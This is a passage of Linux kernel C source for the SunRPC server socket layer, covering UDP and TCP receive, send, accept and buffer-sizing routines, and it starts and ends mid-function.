iov[i].iov_base = save_iovbase; return ret; } /* * Set socket snd and rcv buffer lengths */ static void svc_sock_setbufsize(struct socket *sock, unsigned int snd, unsigned int rcv) { #if 0 mm_segment_t oldfs; oldfs = get_fs(); set_fs(KERNEL_DS); sock_setsockopt(sock, SOL_SOCKET, SO_SNDBUF, (char*)&snd, sizeof(snd)); sock_setsockopt(sock, SOL_SOCKET, SO_RCVBUF, (char*)&rcv, sizeof(rcv)); #else /* sock_setsockopt limits use to sysctl_?mem_max, * which isn't acceptable. Until that is made conditional * on not having CAP_SYS_RESOURCE or similar, we go direct... * DaveM said I could! */ lock_sock(sock->sk); sock->sk->sk_sndbuf = snd * 2; sock->sk->sk_rcvbuf = rcv * 2; sock->sk->sk_write_space(sock->sk); release_sock(sock->sk); #endif } /* * INET callback when data has been received on the socket. */ static void svc_udp_data_ready(struct sock *sk, int count) { struct svc_sock *svsk = (struct svc_sock *)sk->sk_user_data; wait_queue_head_t *wq = sk_sleep(sk); if (svsk) { dprintk("svc: socket %p(inet %p), count=%d, busy=%d\n", svsk, sk, count, test_bit(XPT_BUSY, &svsk->sk_xprt.xpt_flags)); set_bit(XPT_DATA, &svsk->sk_xprt.xpt_flags); svc_xprt_enqueue(&svsk->sk_xprt); } if (wq && waitqueue_active(wq)) wake_up_interruptible(wq); } /* * INET callback when space is newly available on the socket. */ static void svc_write_space(struct sock *sk) { struct svc_sock *svsk = (struct svc_sock *)(sk->sk_user_data); wait_queue_head_t *wq = sk_sleep(sk); if (svsk) { dprintk("svc: socket %p(inet %p), write_space busy=%d\n", svsk, sk, test_bit(XPT_BUSY, &svsk->sk_xprt.xpt_flags)); svc_xprt_enqueue(&svsk->sk_xprt); } if (wq && waitqueue_active(wq)) { dprintk("RPC svc_write_space: someone sleeping on %p\n", svsk); wake_up_interruptible(wq); } } static void svc_tcp_write_space(struct sock *sk) { struct socket *sock = sk->sk_socket; if (sk_stream_wspace(sk) >= sk_stream_min_wspace(sk) && sock) clear_bit(SOCK_NOSPACE, &sock->flags); svc_write_space(sk); } /* * See net/ipv6/ip_sockglue.c : ip_cmsg_recv_pktinfo */ static int svc_udp_get_dest_address4(struct svc_rqst *rqstp, struct cmsghdr *cmh) { struct in_pktinfo *pki = CMSG_DATA(cmh); struct sockaddr_in *daddr = svc_daddr_in(rqstp); if (cmh->cmsg_type != IP_PKTINFO) return 0; daddr->sin_family = AF_INET; daddr->sin_addr.s_addr = pki->ipi_spec_dst.s_addr; return 1; } /* * See net/ipv6/datagram.c : datagram_recv_ctl */ static int svc_udp_get_dest_address6(struct svc_rqst *rqstp, struct cmsghdr *cmh) { struct in6_pktinfo *pki = CMSG_DATA(cmh); struct sockaddr_in6 *daddr = svc_daddr_in6(rqstp); if (cmh->cmsg_type != IPV6_PKTINFO) return 0; daddr->sin6_family = AF_INET6; ipv6_addr_copy(&daddr->sin6_addr, &pki->ipi6_addr); daddr->sin6_scope_id = pki->ipi6_ifindex; return 1; } /* * Copy the UDP datagram's destination address to the rqstp structure. * The 'destination' address in this case is the address to which the * peer sent the datagram, i.e. our local address. For multihomed * hosts, this can change from msg to msg. Note that only the IP * address changes, the port number should remain the same. */ static int svc_udp_get_dest_address(struct svc_rqst *rqstp, struct cmsghdr *cmh) { switch (cmh->cmsg_level) { case SOL_IP: return svc_udp_get_dest_address4(rqstp, cmh); case SOL_IPV6: return svc_udp_get_dest_address6(rqstp, cmh); } return 0; } /* * Receive a datagram from a UDP socket. */ static int svc_udp_recvfrom(struct svc_rqst *rqstp) { struct svc_sock *svsk = container_of(rqstp->rq_xprt, struct svc_sock, sk_xprt); struct svc_serv *serv = svsk->sk_xprt.xpt_server; struct sk_buff *skb; union { struct cmsghdr hdr; long all[SVC_PKTINFO_SPACE / sizeof(long)]; } buffer; struct cmsghdr *cmh = &buffer.hdr; struct msghdr msg = { .msg_name = svc_addr(rqstp), .msg_control = cmh, .msg_controllen = sizeof(buffer), .msg_flags = MSG_DONTWAIT, }; size_t len; int err; if (test_and_clear_bit(XPT_CHNGBUF, &svsk->sk_xprt.xpt_flags)) /* udp sockets need large rcvbuf as all pending * requests are still in that buffer. sndbuf must * also be large enough that there is enough space * for one reply per thread. We count all threads * rather than threads in a particular pool, which * provides an upper bound on the number of threads * which will access the socket. */ svc_sock_setbufsize(svsk->sk_sock, (serv->sv_nrthreads+3) * serv->sv_max_mesg, (serv->sv_nrthreads+3) * serv->sv_max_mesg); clear_bit(XPT_DATA, &svsk->sk_xprt.xpt_flags); skb = NULL; err = kernel_recvmsg(svsk->sk_sock, &msg, NULL, 0, 0, MSG_PEEK | MSG_DONTWAIT); if (err >= 0) skb = skb_recv_datagram(svsk->sk_sk, 0, 1, &err); if (skb == NULL) { if (err != -EAGAIN) { /* possibly an icmp error */ dprintk("svc: recvfrom returned error %d\n", -err); set_bit(XPT_DATA, &svsk->sk_xprt.xpt_flags); } return -EAGAIN; } len = svc_addr_len(svc_addr(rqstp)); if (len == 0) return -EAFNOSUPPORT; rqstp->rq_addrlen = len; if (skb->tstamp.tv64 == 0) { skb->tstamp = ktime_get_real(); /* Don't enable netstamp, sunrpc doesn't need that much accuracy */ } svsk->sk_sk->sk_stamp = skb->tstamp; set_bit(XPT_DATA, &svsk->sk_xprt.xpt_flags); /* there may be more data... */ len = skb->len - sizeof(struct udphdr); rqstp->rq_arg.len = len; rqstp->rq_prot = IPPROTO_UDP; if (!svc_udp_get_dest_address(rqstp, cmh)) { if (net_ratelimit()) printk(KERN_WARNING "svc: received unknown control message %d/%d; " "dropping RPC reply datagram\n", cmh->cmsg_level, cmh->cmsg_type); skb_free_datagram_locked(svsk->sk_sk, skb); return 0; } rqstp->rq_daddrlen = svc_addr_len(svc_daddr(rqstp)); if (skb_is_nonlinear(skb)) { /* we have to copy */ local_bh_disable(); if (csum_partial_copy_to_xdr(&rqstp->rq_arg, skb)) { local_bh_enable(); /* checksum error */ skb_free_datagram_locked(svsk->sk_sk, skb); return 0; } local_bh_enable(); skb_free_datagram_locked(svsk->sk_sk, skb); } else { /* we can use it in-place */ rqstp->rq_arg.head[0].iov_base = skb->data + sizeof(struct udphdr); rqstp->rq_arg.head[0].iov_len = len; if (skb_checksum_complete(skb)) { skb_free_datagram_locked(svsk->sk_sk, skb); return 0; } rqstp->rq_xprt_ctxt = skb; } rqstp->rq_arg.page_base = 0; if (len <= rqstp->rq_arg.head[0].iov_len) { rqstp->rq_arg.head[0].iov_len = len; rqstp->rq_arg.page_len = 0; rqstp->rq_respages = rqstp->rq_pages+1; } else { rqstp->rq_arg.page_len = len - rqstp->rq_arg.head[0].iov_len; rqstp->rq_respages = rqstp->rq_pages + 1 + DIV_ROUND_UP(rqstp->rq_arg.page_len, PAGE_SIZE); } if (serv->sv_stats) serv->sv_stats->netudpcnt++; return len; } static int svc_udp_sendto(struct svc_rqst *rqstp) { int error; error = svc_sendto(rqstp, &rqstp->rq_res); if (error == -ECONNREFUSED) /* ICMP error on earlier request. */ error = svc_sendto(rqstp, &rqstp->rq_res); return error; } static void svc_udp_prep_reply_hdr(struct svc_rqst *rqstp) { } static int svc_udp_has_wspace(struct svc_xprt *xprt) { struct svc_sock *svsk = container_of(xprt, struct svc_sock, sk_xprt); struct svc_serv *serv = xprt->xpt_server; unsigned long required; /* * Set the SOCK_NOSPACE flag before checking the available * sock space. */ set_bit(SOCK_NOSPACE, &svsk->sk_sock->flags); required = atomic_read(&svsk->sk_xprt.xpt_reserved) + serv->sv_max_mesg; if (required*2 > sock_wspace(svsk->sk_sk)) return 0; clear_bit(SOCK_NOSPACE, &svsk->sk_sock->flags); return 1; } static struct svc_xprt *svc_udp_accept(struct svc_xprt *xprt) { BUG(); return NULL; } static struct svc_xprt *svc_udp_create(struct svc_serv *serv, struct net *net, struct sockaddr *sa, int salen, int flags) { return svc_create_socket(serv, IPPROTO_UDP, net, sa, salen, flags); } static struct svc_xprt_ops svc_udp_ops = { .xpo_create = svc_udp_create, .xpo_recvfrom = svc_udp_recvfrom, .xpo_sendto = svc_udp_sendto, .xpo_release_rqst = svc_release_skb, .xpo_detach = svc_sock_detach, .xpo_free = svc_sock_free, .xpo_prep_reply_hdr = svc_udp_prep_reply_hdr, .xpo_has_wspace = svc_udp_has_wspace, .xpo_accept = svc_udp_accept, }; static struct svc_xprt_class svc_udp_class = { .xcl_name = "udp", .xcl_owner = THIS_MODULE, .xcl_ops = &svc_udp_ops, .xcl_max_payload = RPCSVC_MAXPAYLOAD_UDP, }; static void svc_udp_init(struct svc_sock *svsk, struct svc_serv *serv) { int err, level, optname, one = 1; svc_xprt_init(&svc_udp_class, &svsk->sk_xprt, serv); clear_bit(XPT_CACHE_AUTH, &svsk->sk_xprt.xpt_flags); svsk->sk_sk->sk_data_ready = svc_udp_data_ready; svsk->sk_sk->sk_write_space = svc_write_space; /* initialise setting must have enough space to * receive and respond to one request. * svc_udp_recvfrom will re-adjust if necessary */ svc_sock_setbufsize(svsk->sk_sock, 3 * svsk->sk_xprt.xpt_server->sv_max_mesg, 3 * svsk->sk_xprt.xpt_server->sv_max_mesg); /* data might have come in before data_ready set up */ set_bit(XPT_DATA, &svsk->sk_xprt.xpt_flags); set_bit(XPT_CHNGBUF, &svsk->sk_xprt.xpt_flags); /* make sure we get destination address info */ switch (svsk->sk_sk->sk_family) { case AF_INET: level = SOL_IP; optname = IP_PKTINFO; break; case AF_INET6: level = SOL_IPV6; optname = IPV6_RECVPKTINFO; break; default: BUG(); } err = kernel_setsockopt(svsk->sk_sock, level, optname, (char *)&one, sizeof(one)); dprintk("svc: kernel_setsockopt returned %d\n", err); } /* * A data_ready event on a listening socket means there's a connection * pending. Do not use state_change as a substitute for it. */ static void svc_tcp_listen_data_ready(struct sock *sk, int count_unused) { struct svc_sock *svsk = (struct svc_sock *)sk->sk_user_data; wait_queue_head_t *wq; dprintk("svc: socket %p TCP (listen) state change %d\n", sk, sk->sk_state); /* * This callback may called twice when a new connection * is established as a child socket inherits everything * from a parent LISTEN socket. * 1) data_ready method of the parent socket will be called * when one of child sockets become ESTABLISHED. * 2) data_ready method of the child socket may be called * when it receives data before the socket is accepted. * In case of 2, we should ignore it silently. */ if (sk->sk_state == TCP_LISTEN) { if (svsk) { set_bit(XPT_CONN, &svsk->sk_xprt.xpt_flags); svc_xprt_enqueue(&svsk->sk_xprt); } else printk("svc: socket %p: no user data\n", sk); } wq = sk_sleep(sk); if (wq && waitqueue_active(wq)) wake_up_interruptible_all(wq); } /* * A state change on a connected socket means it's dying or dead. */ static void svc_tcp_state_change(struct sock *sk) { struct svc_sock *svsk = (struct svc_sock *)sk->sk_user_data; wait_queue_head_t *wq = sk_sleep(sk); dprintk("svc: socket %p TCP (connected) state change %d (svsk %p)\n", sk, sk->sk_state, sk->sk_user_data); if (!svsk) printk("svc: socket %p: no user data\n", sk); else { set_bit(XPT_CLOSE, &svsk->sk_xprt.xpt_flags); svc_xprt_enqueue(&svsk->sk_xprt); } if (wq && waitqueue_active(wq)) wake_up_interruptible_all(wq); } static void svc_tcp_data_ready(struct sock *sk, int count) { struct svc_sock *svsk = (struct svc_sock *)sk->sk_user_data; wait_queue_head_t *wq = sk_sleep(sk); dprintk("svc: socket %p TCP data ready (svsk %p)\n", sk, sk->sk_user_data); if (svsk) { set_bit(XPT_DATA, &svsk->sk_xprt.xpt_flags); svc_xprt_enqueue(&svsk->sk_xprt); } if (wq && waitqueue_active(wq)) wake_up_interruptible(wq); } /* * Accept a TCP connection */ static struct svc_xprt *svc_tcp_accept(struct svc_xprt *xprt) { struct svc_sock *svsk = container_of(xprt, struct svc_sock, sk_xprt); struct sockaddr_storage addr; struct sockaddr *sin = (struct sockaddr *) &addr; struct svc_serv *serv = svsk->sk_xprt.xpt_server; struct socket *sock = svsk->sk_sock; struct socket *newsock; struct svc_sock *newsvsk; int err, slen; RPC_IFDEBUG(char buf[RPC_MAX_ADDRBUFLEN]); dprintk("svc: tcp_accept %p sock %p\n", svsk, sock); if (!sock) return NULL; clear_bit(XPT_CONN, &svsk->sk_xprt.xpt_flags); err = kernel_accept(sock, &newsock, O_NONBLOCK); if (err < 0) { if (err == -ENOMEM) printk(KERN_WARNING "%s: no more sockets!\n", serv->sv_name); else if (err != -EAGAIN && net_ratelimit()) printk(KERN_WARNING "%s: accept failed (err %d)!\n", serv->sv_name, -err); return NULL; } set_bit(XPT_CONN, &svsk->sk_xprt.xpt_flags); err = kernel_getpeername(newsock, sin, &slen); if (err < 0) { if (net_ratelimit()) printk(KERN_WARNING "%s: peername failed (err %d)!\n", serv->sv_name, -err); goto failed; /* aborted connection or whatever */ } /* Ideally, we would want to reject connections from unauthorized * hosts here, but when we get encryption, the IP of the host won't * tell us anything. For now just warn about unpriv connections. */ if (!svc_port_is_privileged(sin)) { dprintk(KERN_WARNING "%s: connect from unprivileged port: %s\n", serv->sv_name, __svc_print_addr(sin, buf, sizeof(buf))); } dprintk("%s: connect from %s\n", serv->sv_name, __svc_print_addr(sin, buf, sizeof(buf))); /* make sure that a write doesn't block forever when * low on memory */ newsock->sk->sk_sndtimeo = HZ*30; if (!(newsvsk = svc_setup_socket(serv, newsock, &err, (SVC_SOCK_ANONYMOUS | SVC_SOCK_TEMPORARY)))) goto failed; svc_xprt_set_remote(&newsvsk->sk_xprt, sin, slen); err = kernel_getsockname(newsock, sin, &slen); if (unlikely(err < 0)) { dprintk("svc_tcp_accept: kernel_getsockname error %d\n", -err); slen = offsetof(struct sockaddr, sa_data); } svc_xprt_set_local(&newsvsk->sk_xprt, sin, slen); if (serv->sv_stats) serv->sv_stats->nettcpconn++; return &newsvsk->sk_xprt; failed: sock_release(newsock); return NULL; } static unsigned int svc_tcp_restore_pages(struct svc_sock *svsk, struct svc_rqst *rqstp) { unsigned int i, len, npages; if (svsk->sk_tcplen <= sizeof(rpc_fraghdr)) return 0; len = svsk->sk_tcplen - sizeof(rpc_fraghdr); npages = (len + PAGE_SIZE - 1) >> PAGE_SHIFT; for (i = 0; i < npages; i++) { if (rqstp->rq_pages[i] != NULL) put_page(rqstp->rq_pages[i]); BUG_ON(svsk->sk_pages[i] == NULL); rqstp->rq_pages[i] = svsk->sk_pages[i]; svsk->sk_pages[i] = NULL; } rqstp->rq_arg.head[0].iov_base = page_address(rqstp->rq_pages[0]); return len; } static void svc_tcp_save_pages(struct svc_sock *svsk, struct svc_rqst *rqstp) { unsigned int i, len, npages; if (svsk->sk_tcplen <= sizeof(rpc_fraghdr)) return; len = svsk->sk_tcplen - sizeof(rpc_fraghdr); npages = (len + PAGE_SIZE - 1) >> PAGE_SHIFT; for (i = 0; i < npages; i++) { svsk->sk_pages[i] = rqstp->rq_pages[i]; rqstp->rq_pages[i] = NULL; } } static void svc_tcp_clear_pages(struct svc_sock *svsk) { unsigned int i, len, npages; if (svsk->sk_tcplen <= sizeof(rpc_fraghdr)) goto out; len = svsk->sk_tcplen - sizeof(rpc_fraghdr); npages = (len + PAGE_SIZE - 1) >> PAGE_SHIFT; for (i = 0; i < npages; i++) { BUG_ON(svsk->sk_pages[i] == NULL); put_page(svsk->sk_pages[i]); svsk->sk_pages[i] = NULL; } out: svsk->sk_tcplen = 0; } /* * Receive data. * If we haven't gotten the record length yet, get the next four bytes. * Otherwise try to gobble up as much as possible up to the complete * record length. */ static int svc_tcp_recv_record(struct svc_sock *svsk, struct svc_rqst *rqstp) { struct svc_serv *serv = svsk->sk_xprt.xpt_server; unsigned int want; int len; clear_bit(XPT_DATA, &svsk->sk_xprt.xpt_flags); if (svsk->sk_tcplen < sizeof(rpc_fraghdr)) { struct kvec iov; want = sizeof(rpc_fraghdr) - svsk->sk_tcplen; iov.iov_base = ((char *) &svsk->sk_reclen) + svsk->sk_tcplen; iov.iov_len = want; if ((len = svc_recvfrom(rqstp, &iov, 1, want)) < 0) goto error; svsk->sk_tcplen += len; if (len < want) { dprintk("svc: short recvfrom while reading record " "length (%d of %d)\n", len, want); return -EAGAIN; } svsk->sk_reclen = ntohl(svsk->sk_reclen); if (!(svsk->sk_reclen & RPC_LAST_STREAM_FRAGMENT)) { /* FIXME: technically, a record can be fragmented, * and non-terminal fragments will not have the top * bit set in the fragment length header. * But apparently no known nfs clients send fragmented * records. */ if (net_ratelimit()) printk(KERN_NOTICE "RPC: multiple fragments " "per record not supported\n"); goto err_delete; } svsk->sk_reclen &= RPC_FRAGMENT_SIZE_MASK; dprintk("svc: TCP record, %d bytes\n", svsk->sk_reclen); if (svsk->sk_reclen > serv->sv_max_mesg) { if (net_ratelimit()) printk(KERN_NOTICE "RPC: " "fragment too large: 0x%08lx\n", (unsigned long)svsk->sk_reclen); goto err_delete; } } if (svsk->sk_reclen < 8) goto err_delete; /* client is nuts. */ len = svsk->sk_reclen; return len; error: dprintk("RPC: TCP recv_record got %d\n", len); return len; err_delete: set_bit(XPT_CLOSE, &svsk->sk_xprt.xpt_flags); return -EAGAIN; } static int receive_cb_reply(struct svc_sock *svsk, struct svc_rqst *rqstp) { struct rpc_xprt *bc_xprt = svsk->sk_xprt.xpt_bc_xprt; struct rpc_rqst *req = NULL; struct kvec *src, *dst; __be32 *p = (__be32 *)rqstp->rq_arg.head[0].iov_base; __be32 xid; __be32 calldir; xid = *p++; calldir = *p; if (bc_xprt) req = xprt_lookup_rqst(bc_xprt, xid); if (!req) { printk(KERN_NOTICE "%s: Got unrecognized reply: " "calldir 0x%x xpt_bc_xprt %p xid %08x\n", __func__, ntohl(calldir), bc_xprt, xid); return -EAGAIN; } memcpy(&req->rq_private_buf, &req->rq_rcv_buf, sizeof(struct xdr_buf)); /* * XXX!: cheating for now! Only copying HEAD. * But we know this is good enough for now (in fact, for any * callback reply in the forseeable future). */ dst = &req->rq_private_buf.head[0]; src = &rqstp->rq_arg.head[0]; if (dst->iov_len < src->iov_len) return -EAGAIN; /* whatever; just giving up. */ memcpy(dst->iov_base, src->iov_base, src->iov_len); xprt_complete_rqst(req->rq_task, svsk->sk_reclen); rqstp->rq_arg.len = 0; return 0; } static int copy_pages_to_kvecs(struct kvec *vec, struct page **pages, int len) { int i = 0; int t = 0; while (t < len) { vec[i].iov_base = page_address(pages[i]); vec[i].iov_len = PAGE_SIZE; i++; t += PAGE_SIZE; } return i; } /* * Receive data from a TCP socket. */ static int svc_tcp_recvfrom(struct svc_rqst *rqstp) { struct svc_sock *svsk = container_of(rqstp->rq_xprt, struct svc_sock, sk_xprt); struct svc_serv *serv = svsk->sk_xprt.xpt_server; int len; struct kvec *vec; unsigned int want, base; __be32 *p; __be32 calldir; int pnum; dprintk("svc: tcp_recv %p data %d conn %d close %d\n", svsk, test_bit(XPT_DATA, &svsk->sk_xprt.xpt_flags), test_bit(XPT_CONN, &svsk->sk_xprt.xpt_flags), test_bit(XPT_CLOSE, &svsk->sk_xprt.xpt_flags)); len = svc_tcp_recv_record(svsk, rqstp); if (len < 0) goto error; base = svc_tcp_restore_pages(svsk, rqstp); want = svsk->sk_reclen - base; vec = rqstp->rq_vec; pnum = copy_pages_to_kvecs(&vec[0], &rqstp->rq_pages[0], svsk->sk_reclen); rqstp->rq_respages = &rqstp->rq_pages[pnum]; /* Now receive data */ len = svc_partial_recvfrom(rqstp, vec, pnum, want, base); if (len >= 0) svsk->sk_tcplen += len; if (len != want) { svc_tcp_save_pages(svsk, rqstp); if (len < 0 && len != -EAGAIN) goto err_other; dprintk("svc: incomplete TCP record (%d of %d)\n", svsk->sk_tcplen, svsk->sk_reclen); goto err_noclose; } rqstp->rq_arg.len = svsk->sk_reclen; rqstp->rq_arg.page_base = 0; if (rqstp->rq_arg.len <= rqstp->rq_arg.head[0].iov_len) { rqstp->rq_arg.head[0].iov_len = rqstp->rq_arg.len; rqstp->rq_arg.page_len = 0; } else rqstp->rq_arg.page_len = rqstp->rq_arg.len - rqstp->rq_arg.head[0].iov_len; rqstp->rq_xprt_ctxt = NULL; rqstp->rq_prot = IPPROTO_TCP; p = (__be32 *)rqstp->rq_arg.head[0].iov_base; calldir = p[1]; if (calldir) len = receive_cb_reply(svsk, rqstp); /* Reset TCP read info */ svsk->sk_reclen = 0; svsk->sk_tcplen = 0; /* If we have more data, signal svc_xprt_enqueue() to try again */ if (svc_recv_available(svsk) > sizeof(rpc_fraghdr)) set_bit(XPT_DATA, &svsk->sk_xprt.xpt_flags); if (len < 0) goto error; svc_xprt_copy_addrs(rqstp, &svsk->sk_xprt); if (serv->sv_stats) serv->sv_stats->nettcpcnt++; dprintk("svc: TCP complete record (%d bytes)\n", rqstp->rq_arg.len); return rqstp->rq_arg.len; error: if (len != -EAGAIN) goto err_other; dprintk("RPC: TCP recvfrom got EAGAIN\n"); return -EAGAIN; err_other: printk(KERN_NOTICE "%s: recvfrom returned errno %d\n", svsk->sk_xprt.xpt_server->sv_name, -len); set_bit(XPT_CLOSE, &svsk->sk_xprt.xpt_flags); err_noclose: return -EAGAIN; /* record not complete */ } /* * Send out data on TCP socket. */ static int svc_tcp_sendto(struct svc_rqst *rqstp) { struct xdr_buf *xbufp = &rqstp->rq_res; int sent; __be32 reclen; /* Set up the first element of the reply kvec. * Any other kvecs that may be in use have been taken * care of by the server implementation itself. */ reclen = htonl(0x80000000|((xbufp->len ) - 4)); memcpy(xbufp->head[0].iov_base, &reclen, 4); sent = svc_sendto(rqstp, &rqstp->rq_res); if (sent != xbufp->len) { printk(KERN_NOTICE "rpc-srv/tcp: %s: %s %d when sending %d bytes " "- shutting down socket\n", rqstp->rq_xprt->xpt_server->sv_name, (sent<0)?"got error":"sent only", sent, xbufp->len); set_bit(XPT_CLOSE, &rqstp->rq_xprt->xpt_flags); svc_xprt_enqueue(rqstp->rq_xprt); sent = -EAGAIN; } return sent; } /* * Setup response header. TCP has a 4B record length field. */ static void svc_tcp_prep_reply_hdr(struct svc_rqst *rqstp) { struct kvec *resv = &rqstp->rq_res.head[0]; /* tcp needs a space for the record length... */ svc_putnl(resv, 0); } static int svc_tcp_has_wspace(struct svc_xprt *xprt) { struct svc_sock *svsk = container_of(xprt, struct svc_sock, sk_xprt); struct svc_serv *serv = svsk->sk_xprt.xpt_server; int required; if (test_bit(XPT_LISTENER, &xprt->xpt_flags)) return 1; required = atomic_read(&xprt->xpt_reserved) + serv->sv_max_mesg; if (sk_stream_wspace(svsk->sk_sk) >= required) return 1; set_bit(SOCK_NOSPACE, &svsk->sk_sock->flags); return 0; } static struct svc_xprt *svc_tcp_create(struct svc_serv *serv, struct net *net, struct sockaddr *sa, int salen, int flags) { return svc_create_socket(serv, IPPROTO_TCP, net, sa, salen, flags); } #if defined(CONFIG_SUNRPC_BACKCHANNEL) static struct svc_xprt *svc_bc_create_socket(struct svc_serv *, int, struct net *, struct sockaddr *, int, int); static void svc_bc_sock_free(struct svc_xprt *xprt); static struct svc_xprt *svc_bc_tcp_create(struct svc_serv *serv, struct net *net, struct sockaddr *sa, int salen, int flags) { return svc_bc_create_socket(serv, IPPROTO_TCP, net, sa, salen, flags); } static void svc_bc_tcp_sock_detach(struct svc_xprt *xprt) { } static struct svc_xprt_ops svc_tcp_bc_ops = { .xpo_create = svc_bc_tcp_create, .xpo_detach = svc_bc_tcp_sock_detach, .xpo_free = svc_bc_sock_free, .xpo_prep_reply_hdr = svc_tcp_prep_reply_hdr, }; static struct svc_xprt_class svc_tcp_bc_class = { .xcl_name = "tcp-bc", .xcl_owner = THIS_MODULE, .xcl_ops = &svc_tcp_bc_ops, .xcl_max_payload = RPCSVC_MAXPAYLOAD_TCP, }; static void svc_init_bc_xprt_sock(void) { svc_reg_xprt_class(&svc_tcp_bc_class); } static void svc_cleanup_bc_xprt_sock(void) { svc_unreg_xprt_class(&svc_tcp_bc_class); } #else /* CONFIG_SUNRPC_BACKCHANNEL */ static void svc_init_bc_xprt_sock(void) { } static void svc_cleanup_bc_xprt_sock(void) { } #endif /* CONFIG_SUNRPC_BACKCHANNEL */ static struct svc_xprt_ops svc_tcp_ops = { .xpo_create = svc_tcp_create, .xpo_recvfrom = svc_tcp_recvfrom, .xpo_sendto = svc_tcp_sendto, .xpo_release_rqst = svc_release_skb, .xpo_detach = svc_tcp_sock_detach, .xpo_free = svc_sock_free, .xpo_prep_reply_hdr = svc_tcp_prep_reply_hdr, .xpo_has_wspace = svc_tcp_has_wspace, .xpo_accept = svc_tcp_accept, }; static struct svc_xprt_class svc_tcp_class = { .xcl_name = "tcp", .xcl_owner = THIS_MODULE, .xcl_ops = &svc_tcp_ops, .xcl_max_payload = RPCSVC_MAXPAYLOAD_TCP, }; void svc_init_xprt_sock(void) { svc_reg_xprt_class(&svc_tcp_class); svc_reg_xprt_class(&svc_udp_class); svc_init_bc_xprt_sock(); } void svc_cleanup_xprt_sock(void) { svc_unreg_xprt_class(&svc_tcp_class); svc_unreg_xprt_class(&svc_udp_class); svc_cleanup_bc_xprt_sock(); } static void svc_tcp_init(struct svc_sock *svsk, struct svc_serv *serv) { struct sock *sk = svsk->sk_sk; svc_xprt_init(&svc_tcp_class, &svsk->sk_xprt, serv); set_bit(XPT_CACHE_AUTH, &svsk->sk_xprt.xpt_flags); if (sk->sk_state == TCP_LISTEN) { dprintk("setting up TCP socket for listening\n"); set_bit(XPT_LISTENER, &svsk->sk_xprt.xpt_flags); sk->sk_data_ready = svc_tcp_listen_data_ready; set_bit(XPT_CONN, &svsk->sk_xprt.xpt_flags); } else { dprintk("setting up TCP socket for reading\n"); sk->sk_state_change = svc_tcp_state_change; sk->sk_data_ready = svc_tcp_data_ready; sk->sk_write_space = svc_tcp_write_space; svsk->sk_reclen = 0; svsk->sk_tcplen = 0; memset(&svsk->sk_pages[0], 0, sizeof(svsk->sk_pages)); tcp_sk(sk)->nonagle |= TCP_NAGLE_OFF; set_bit(XPT_DATA, &svsk->sk_xprt.xpt_flags); if (sk->sk_state != TCP_ESTABLISHED) set_bit(XPT_CLOSE, &svsk->sk_xprt.xpt_flags); } } void svc_sock_update_bufs(struct svc_serv *serv) { /* * The number of server threads has changed. Update * rcvbuf and sndbuf accordingly on all sockets */ struct svc_sock *svsk; spin_lock_bh(&serv->sv_lock); list_for_each_entry(svsk, &serv->sv_permsocks, sk_xprt.xpt_list) set_bit(XPT_CHNGBUF, &svsk->sk_xprt.xpt_flags); list_for_each_entry(svsk, &serv->sv_tempsocks, sk_xprt.xpt_list) set_bit(XPT_CHNGBUF, &svsk->sk_xprt.xpt_flags); spin_unlock_bh(&serv->sv_lock); } EXPORT_SYMBOL_GPL(svc_sock_update_bufs); /* * Initialize socket for RPC use and create svc_sock struct * XXX: May want to setsockopt SO_SNDBUF and SO_RCVBUF. */ static struct svc_sock *svc_setup_socket(struct svc_serv *serv, struct socket *sock, int *errp, int flags) { struct svc_sock *svsk; struct sock *inet; int pmap_register = !(flags & SVC_SOCK_ANONYMOUS); dprintk("svc: svc_setup_socket %p\n", sock); if (!(svsk = kzalloc(sizeof(*svsk), GFP_KERNEL))) { *errp = -ENOMEM; return NULL; } inet = sock->sk; /* Register socket with portmapper */ if (*errp >= 0 && pmap_register) *errp = svc_register(serv, inet->sk_family, inet->sk_protocol, ntohs(inet_sk(inet)->inet_sport)); if (*errp < 0) { kfree(svsk); return NULL; } inet->sk_user_data = svsk; svsk->sk_sock = sock; svsk->sk_sk = inet; svsk->sk_ostate = inet->sk_state_change; svsk->sk_odata = inet->sk_data_ready; svsk->sk_owspace = inet->sk_write_space; /* Initialize the socket */ if (sock->type == SOCK_DGRAM) svc_udp_init(svsk, serv); else { /* initialise setting must have enough space to * receive and respond to one request. */ svc_sock_setbufsize(svsk->sk_sock, 4 * serv->sv_max_mesg, 4 * serv->sv_max_mesg); svc_tcp_init(svsk, serv); } dprintk("svc: svc_setup_socket created %p (inet %p)\n", svsk, svsk->sk_sk); return svsk; } /** * svc_addsock - add a listener socket to an RPC service * @serv: pointer to RPC service to which to add a new listener * @fd: file descriptor of the new listener * @name_return: pointer to buffer to fill in with name of listener * @len: size of the buffer * * Fills in socket name and returns positive length of name if successful. * Name is terminated with '\n'. On error, returns a negative errno * value. */ int svc_addsock(struct svc_serv *serv, const int fd, char *name_return, const size_t len) { int err = 0; struct socket *so = sockfd_lookup(fd, &err); struct svc_sock *svsk = NULL; if (!so) return err; if ((so->sk->sk_family != PF_INET) && (so->sk->sk_family != PF_INET6)) err = -EAFNOSUPPORT; else if (so->sk->sk_protocol != IPPROTO_TCP && so->sk->sk_protocol != IPPROTO_UDP) err = -EPROTONOSUPPORT; else if (so->state > SS_UNCONNECTED) err = -EISCONN; else { if (!try_module_get(THIS_MODULE)) err = -ENOENT; else svsk = svc_setup_socket(serv, so, &err, SVC_SOCK_DEFAULTS); if (svsk) { struct sockaddr_storage addr; struct sockaddr *sin = (struct sockaddr *)&addr; int salen; if (kernel_getsockname(svsk->sk_sock, sin, &salen) == 0) svc_xprt_set_local(&svsk->sk_xprt, sin, salen); clear_bit(XPT_TEMP, &svsk->sk_xprt.xpt_flags); spin_lock_bh(&serv->sv_lock); list_add(&svsk->sk_xprt.xpt_list, &serv->sv_permsocks); spin_unlock_bh(&serv->sv_lock); svc_xprt_received(&svsk->sk_xprt); err = 0; } else module_put(THIS_MODULE); } if (err) { sockfd_put(so); return err; } return svc_one_sock_name(svsk, name_return, len); } EXPORT_SYMBOL_GPL(svc_addsock); /* * Create socket for RPC service. */ static struct svc_xprt *svc_create_socket(struct svc_serv *serv, int protocol, struct net *net, struct sockaddr *sin, int len, int flags) { struct svc_sock *svsk; struct socket *sock; int error; int type; struct sockaddr_storage addr; struct sockaddr *newsin = (struct sockaddr *)&addr; int newlen; int family; int val; RPC_IFDEBUG(char buf[RPC_MAX_ADDRBUFLEN]); dprintk("svc: svc_create_socket(%s, %d, %s)\n", serv->sv_program->pg_name, protocol, __svc_print_addr(sin, buf, sizeof(buf))); if (protocol != IPPROTO_UDP && protocol != IPPROTO_TCP) { 